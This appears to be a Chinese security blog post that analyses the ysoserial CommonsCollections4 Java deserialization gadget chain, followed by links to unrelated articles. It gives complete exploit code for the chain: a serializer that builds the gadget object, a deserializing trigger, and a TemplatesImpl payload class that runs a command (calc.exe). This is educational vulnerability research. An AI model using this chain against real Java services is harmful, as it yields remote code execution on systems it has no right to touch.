java反序列化-ysoserial-调试分析总结篇(4)
1.前言
这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了instantiateTransformer,所以不用invoke反射调用方法,所以外层queue里面放的元素随意
缩减版的函数调用栈如下图所示:
2.利用链分析:
调用还是从PriorityQueue.readObject函数开始
一直到org/apache/commons/collections4/comparators/TransformingComparator.class的compare函数中将调用chainedTransformer的transform方法了
这里第一个要利用的还是ConstantTransformer,要返回TrAXfilter类
接下来第二轮将调用Traxfilter类入口参数类型为Templates的构造函数,并且实例化调用该构造函数传入templatesImpl类的实例
接下来到TraxFilter的构造函数中将调用templatesImpl.newTransformer(),就可以是实例化_bytecode中存储的类进行rce了
yso构造分析:
首先构造一个Templates类的实例,然后开始构造chianed链需要的东西,首先就是一个Constanttransformer
然后再构造chained的第二个元素就是该链相对于cc2的区别为InstantiateTransformer类
接下来将两个transformer放进chaind,并且构造外层的PriorityQueue,并将chined放入TransformingComparator,然后再将Templates放到instantiate实例的参数和参数类型中,至此
就构造结束了
手动exp构造:
exp.java
- package CommonsCollections4;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
- import javassist.*;
- import org.apache.commons.collections4.Transformer;
- import org.apache.commons.collections4.comparators.ComparableComparator;
- import org.apache.commons.collections4.comparators.TransformingComparator;
- import org.apache.commons.collections4.functors.ChainedTransformer;
- import org.apache.commons.collections4.functors.ConstantTransformer;
- import org.apache.commons.collections4.functors.InstantiateTransformer;
- import javax.xml.transform.Templates;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.PriorityQueue;
- public class exp {
- public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
- TemplatesImpl tmp = new TemplatesImpl();
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(payload.class));
- CtClass pay_class = pool.get(payload.class.getName());
- byte[] payCode = pay_class.toBytecode();
- Class clazz;
- clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
- //存储payload类
- Field byteCode = clazz.getDeclaredField("_bytecodes");
- byteCode.setAccessible(true);
- byteCode.set(tmp,new byte[][]{payCode});
- Field name = clazz.getDeclaredField("_name");
- name.setAccessible(true);
- name.set(tmp,"tr1ple");
- Transformer[] trans = new Transformer[]{
- new ConstantTransformer(TrAXFilter.class),
- new InstantiateTransformer(
- new Class[]{Templates.class},
- new Object[]{tmp})
- };
- ChainedTransformer chian = new ChainedTransformer(trans);
- //PriorityQueue<Object> queue = new PriorityQueue(2,new TransformingComparator(chian));
- TransformingComparator transCom = new TransformingComparator(chian);
- PriorityQueue queue = new PriorityQueue(2);
- queue.add(1);
- queue.add(1);
- Field com = PriorityQueue.class.getDeclaredField("comparator");
- com.setAccessible(true);
- com.set(queue,transCom);
- //序列化
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
- ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
- obj_out.writeObject(queue);
- }
- }
readobj.java
- package CommonsCollections4;
- import java.io.*;
- import java.lang.Runtime;
- public class readObj {
- public static void main(String[] args) throws IOException, ClassNotFoundException {
- File file;
- file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
- ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
- obj.readObject();
- }
- }
payload.java
- package CommonsCollections4;
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import java.io.IOException;
- public class payload extends AbstractTranslet {
- {
- try {
- Runtime.getRuntime().exec("calc.exe");
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- public payload(){
- System.out.println("tr1ple 2333");
- }
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
- }
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
- }
- }
java反序列化-ysoserial-调试分析总结篇(4)的更多相关文章
- java反序列化-ysoserial-调试分析总结篇(2)
前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...
- java反序列化-ysoserial-调试分析总结篇(6)
前言: 这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示 利用链分析: 首先在h ...
- java反序列化-ysoserial-调试分析总结篇(3)
前言: 这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTra ...
- java反序列化-ysoserial-调试分析总结篇(5)
前言: 这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribut ...
- java反序列化-ysoserial-调试分析总结篇(7)
前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...
- java反序列化——apache-shiro复现分析
本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...
- java集合源码分析几篇文章
java集合源码解析https://blog.csdn.net/ns_code/article/category/2362915
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
随机推荐
- 关于前端html5的总结
简介 HTML5 是HTML语言的第5次重大修改产生的新的HTML语言版本 HTML5 是W3C组织和众多主要浏览器厂商以及众多开发者共同努力的结果,得之不易 HTML5 主要改进包括:增加新的HTM ...
- 【转】修改Ubuntu系统的登陆信息的简单方法
转自http://www.jb51.net/os/Ubuntu/414663.html Ubuntu的登陆和欢迎信息控制/etc/issue和/etc/motd/etc/issue与/etc/motd ...
- 缩写: i = i + 1 和 i += 1,可以看做是 i 自加的值 是1。
i += 1; 这样有助于记忆: i自加的值等于1
- 吴裕雄--天生自然python学习笔记:python 用 Open CV通过人脸识别进行登录
人脸识别登录功能的基本原理是通过对比两张图片的差异度来判断两张图片是 否是同 一人的面部 . 对比图片 差异度 的算法有很多种,本例中使用“颜色直方图” 算法来实现对人脸图像的识别. 下面为比较 im ...
- Java面试题3-附答案
接口有什么用 1.通过接口可以实现不相关类的相同行为,而不需要了解对象所对应的类. 2.通过接口可以指明多个类需要实现的方法. 3.通过接口可以了解对象的交互界面,而不需了解对象所对应的类. 另:Ja ...
- Django学习之模板层
三板斧 render,HttpResponse,redirectrender返回一个HTML页面,并且还能够给该页面传数据render内部原理: from django.template import ...
- [LC] 398. Random Pick Index
Given an array of integers with possible duplicates, randomly output the index of a given target num ...
- Python||NameError: name 'reload' is not defined
多半是运行如下代码时报错: import sysreload(sys)sys.setdefaultencoding("utf-8")123这段代码是为了解决Python中中文输出出 ...
- webpack中使用ECharts
npm安装ECharts 引入ECharts 通过 npm 上安装的 ECharts 和 zrender 会放在node_modules目录下.可以直接在项目代码中 require('echarts' ...
- 16)用了session会话技术
为什么用session会话技术? 因为假如你进入后台,不可能随意进入,即使你的验证通过了,那么还需要一个变量来存一个标志,假如标志的值是yes,那么我们可以直接进入后台的首页,无需验证,但是,标志是n ...